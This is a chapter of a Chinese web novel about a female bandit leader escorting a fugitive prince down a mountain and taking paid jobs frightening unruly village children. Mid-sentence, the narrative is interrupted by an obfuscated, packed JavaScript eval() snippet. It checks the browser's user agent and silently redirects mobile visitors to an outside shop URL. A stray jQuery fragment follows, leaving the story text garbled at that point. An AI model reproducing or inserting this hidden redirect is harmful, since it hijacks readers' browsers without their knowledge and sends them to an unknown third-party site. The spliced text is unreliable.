一行人顺着小径下山。老四打头,他认得路。遇恩断后,她腰上带着软剑。当中夹着个李浚修,扭着身子左躲右避,嫌路旁杂草碍事。
遇恩的声音由他肩膀后头传来,“未必你身上沾着跳蚤,扭什么,眼都给你晃晕了。”
不提还好,一提李浚修便觉身上有窸窸窣窣的动静,他扭头站定,面颊被热气熏得红扑扑,两只眼睛只管钉子似的扎向她。
“这路太窄,我的鞋面昨日才清洁过,染上泥土怎么好,这荒郊野地又没个丫头婆子替我洗,未必大当家替我洗?”
“想得美!”
遇恩的声音几乎擦着他话语的尾音掉落,像一把快刀把他的抱怨裁切掉了,再要捡起来说,也不能够。
她今日又换上那身竹叶青的苎麻窄袖圆领袍,高束马尾,一手搭在腰间摸着软剑穗子,另一手横挡在眉毛朝山下张望。
山下炊烟袅袅,秧苗绿油油,一直通到这条小径的尽头。
这条路虽有起伏,平日狸奴寨几人走惯了,不出小半个时辰就能到山脚。李浚修走不惯山路,更添一路上为虫子杂草提心吊胆,走得格外慢。
“等你走到地方,人家早睡下了,还如何做生意。”遇恩在他身后咬牙。
李浚修侧过半张脸,“一早说过我不来,你们怕我跑了非要我来,这下可好,耽搁了正事全怪到我头上。”
遇恩原不打算带他,实在是最近的风声不妙,衙门的人开始搜山,估摸再过几日就搜到伏虎山一带。定是瑞王死不见尸,非找到他不可。
王府张榜找人的事不好对他说,知他胆小,会怕。
遇恩编各种理由哄他出门带在身边,卖猪给乡民的时候带着,这票买卖同样带着,包袱已经扎好,干完这票便星夜兼程赶往罗州。
思忖须臾,她绕到李浚修身前,朝前压低肩背,露出一副虽不算宽阔但十分牢靠的肩膀,两手往背上招呼,“来,我背你。”
不知是热的还是别的缘故,李浚修的手掌不住朝面颊扇风,却是越扇越热,整张脸都红了。
他幽幽道:“我个头比你略高些,又是下山路,不好背吧。”
遇恩嗤地一声笑,“这有何难,你把腿抬高些不就成了。”
李浚修将信将疑往她背上趴,刚伏上去,便嗅到她脖间一点香气,不是花香,不是香料,淡淡的。
和她送给他的那件纱袍一个味道。
那夜遇恩在竹榻睡下了,他偷偷爬起来试衣裳,料子太粗割得皮肤疼,却带着清淡香气,那味道说不上来用哪些香料配制,却使人着迷。
他轻嗅一口,忽觉可耻,想起那衣裳是在遇恩胸口贴身放着的。
今日李浚修穿着那身新衣裳出门,淡香早散了,只剩下阳光晾晒后的洁净气味。
李浚修觉得那味道合该永远留在上面,作为那件罩袍的一部分,于是依恋地贴近遇恩,让衣裳重新沾染她的气味,环着胳膊搂紧了她的脖子。
“李老五,咳——撒手。”
遇恩一时呼吸不畅,两手将他屁股朝上一颠,给脖颈松了口气。
“你要勒死我啊,”遇恩冷哼,“就这么舍不得一万两银子。”
银子银子又是银子,李浚修很不喜欢她提银子,怨气一不经意就从唇间溜了出来,“大当家真个就掉钱眼儿里了,放心,许给你的一定会给。再说,我像那种骗你白跑一趟的人么?”
“像,”遇恩的笑声合着负重发出的喘息,有种蛊惑人的磁性,“搂紧些,别掉下去。”
李浚修听得心痒,气得牙痒,连带手也痒,真想揪起她唇边那片脸颊肉让她闭嘴,可一看到那张脸又下不去手,半点痕迹落上去,都是对造物主的辜负。
纱袍料子滑,因是下坡路,遇恩察觉李浚修在朝前耸动,拍他腿根一下,“别动,再动自己走。”
李浚修适才不敢动了,怕她累着,一直在她背上找角度,谁料胡乱动弹她反而更累,只好僵硬地维持一个姿势。
走到山脚,遇恩弯腰将他放在一块干净的石板,直起酸胀的腰肢松了松。
若非看他可怜又值钱,真不想惯着。
好在村落就在眼前,遇恩摸摸腰间软剑。这一票关乎他们往罗州一路的吃穿车马,必须拿下。
回身正要和二人交代,一个湖蓝色的影子直直朝她撞来,撞了个满怀。
李浚修这一路刻意抬着两腿,早是酸得麻木,刚要迈步,一个趔趄栽到遇恩怀里去了。
遇恩往怀中瞅他一眼,“哪里不舒服?”
李浚修一路都不舒服,为她一直在忍。可真当她问起,又不想让她担心,破天荒地把抱怨都咽了回去,“没有,不过是脚滑。”
一旁的老四瞧见,笑呵呵地指他,“李老五,你好像大当家新娶的媳妇。”
把个遇恩怄得一口气提不上来,追着老四就要打。
可叹她平素轻功了得,拳脚出众,却是捏着拳头半天追不上,徒剩一张跑热的脸与同样面色绯红的李浚修对望。
“我才不要男媳妇!不对,女夫君也不要,啊呸!”
遇恩气鼓鼓叉腰,嫌两手一起叉太过隆重,好像她多在意似的,改为左手叉腰,又觉左手太过刻意,她平素多叉在右边,为方便抽刀拔剑,忙改为右手叉腰。
姿势调准了,接着调度眼神,不想再看那烦人的李浚修,胡乱找了棵树放置眼神。
李浚修还是第一次见她如此窘迫,和侍卫拼死搏斗都不似这般心虚,莫不是对他有意?一时心内狂喜,想趁热打铁探明她的心意。
便见他“哎哟”一声倒地。
遇恩闻声赶来,脸上带着残留的红晕,使她整个人像一枚成熟的蜜桃,把李浚修看迷了,语气益发柔软,“大当家,我其实扭伤了。”
一面说一面撩开罗袜,将一只白白的脚露出来,脚背绷出个优美弧度。
遇恩瞧不真切,凑近看那脚,青绿色的血管藏在冷白的脚背底下,脚踝倒是粉嫩得恰到好处。
她上手一摸,不见淤青红肿,抬眸对上李浚修的视线,立时转了脸色,“若装伤病哄我,回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792183|210427||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去罚你背猪。”
李浚修不情不愿穿好罗袜,堵着一口气,装出脚扭伤的样子,一瘸一拐朝前走。
若让人知道他为个山贼扯下三滥的谎,真是不要活了。
一行人来至村口,三个妇人已迎在大槐树下,各个愁眉不展,看见遇恩仿佛见了天兵天将。
三人一同迎上来,高个妇人道:“大当家先往我家去吧,他爹打也打了骂也骂了,横竖就是不肯去学堂,束脩都交了,赖在家里不肯去。”
这人才说完,有一矮个妇人忙抢白,“大当家还是先往我家去,这些日子不知发了什么疯,一个劲地打他弟弟妹妹,对着祖父祖母都敢动拳头。他爹在外……”
还没等她说完,另有个白胖的妇人一把拉住遇恩的手,急得眼泪串珠似的落,“先去我家,先去我家,就因相看时对方瞧不上,已经不吃不喝五日了,人瘦了一大圈,有点精神全用来寻死了。”
听罢遇恩压了压手掌,“不妨事,一家一家来,银钱给够数都能帮你们办妥。”
三人擦泪的擦泪,掏钱的掏钱,各自递来半吊钱,遇恩接过掂了掂,收进腰包。朝那高个妇人道:“先你家,你家事情快。”
顺着乡道七拐八绕,来至一户人家,李浚修不明所以,由后唤住老四,“大当家这是做什么去?”
老四转来一张凶神恶煞的脸,低声道:“扮山贼。”
李浚修更闹不明白了,他们原本不就是山贼么?
指尖反指自己,“我也要扮?”
老四用力点头,“咱们是一伙的。来,跟我学,照门神的模样装样子,拧眉瘪嘴,鼻孔大喘气,走四方步。”
李浚修照着他的模样比划两下,到底不成样子,只好作罢,跟在遇恩和老四身后瞧动静。
“谁是小虎?”
遇恩蒙了面,进门就踢翻一个鸡笼,两只鸡惊叫飞起,扑腾出好些羽毛。
一个六七岁的男孩闻声出门,歪头瞧她,“你是谁?”
“我是伏虎寨大当家,听说你不肯上学堂,这就把你抓回山寨当小弟,从此不能见父母,专干坏事去。”
那孩子愣神一瞬,突然笑着跑来,“太好啦!我早就想混江湖啦!”
遇恩呼吸一滞,此前来山下农家恐吓小孩一吓一个准儿,怎么不灵了?
那孩子铁了心想跟她上山,回房片刻挎着个包袱蹦跳出来,“大当家,走吧。”
轮到遇恩闹不明白了,这年头不服管教的孩子一年比一年混不吝,往前的招数似乎不奏效。
气氛僵持,遇恩连番上招数,又踢翻几个鸡笼放狠话。看得小虎两眼放光,寸步不离跟着她,不停地哀求:“收了我吧,大当家。”
此等情形遇恩始料未及,朝小虎他娘眨了眨眼,小虎的娘已然不如一开始那般热络,冷脸抱着胳膊,注目是不信任。
这钱遇恩非得弄到手不可,一时急得抓耳挠腮,遍寻不到主意,便听身后响起个男人的声音,温柔中裹着冷笑,“小弟弟,若不肯去学堂,哥哥就要动手咯。”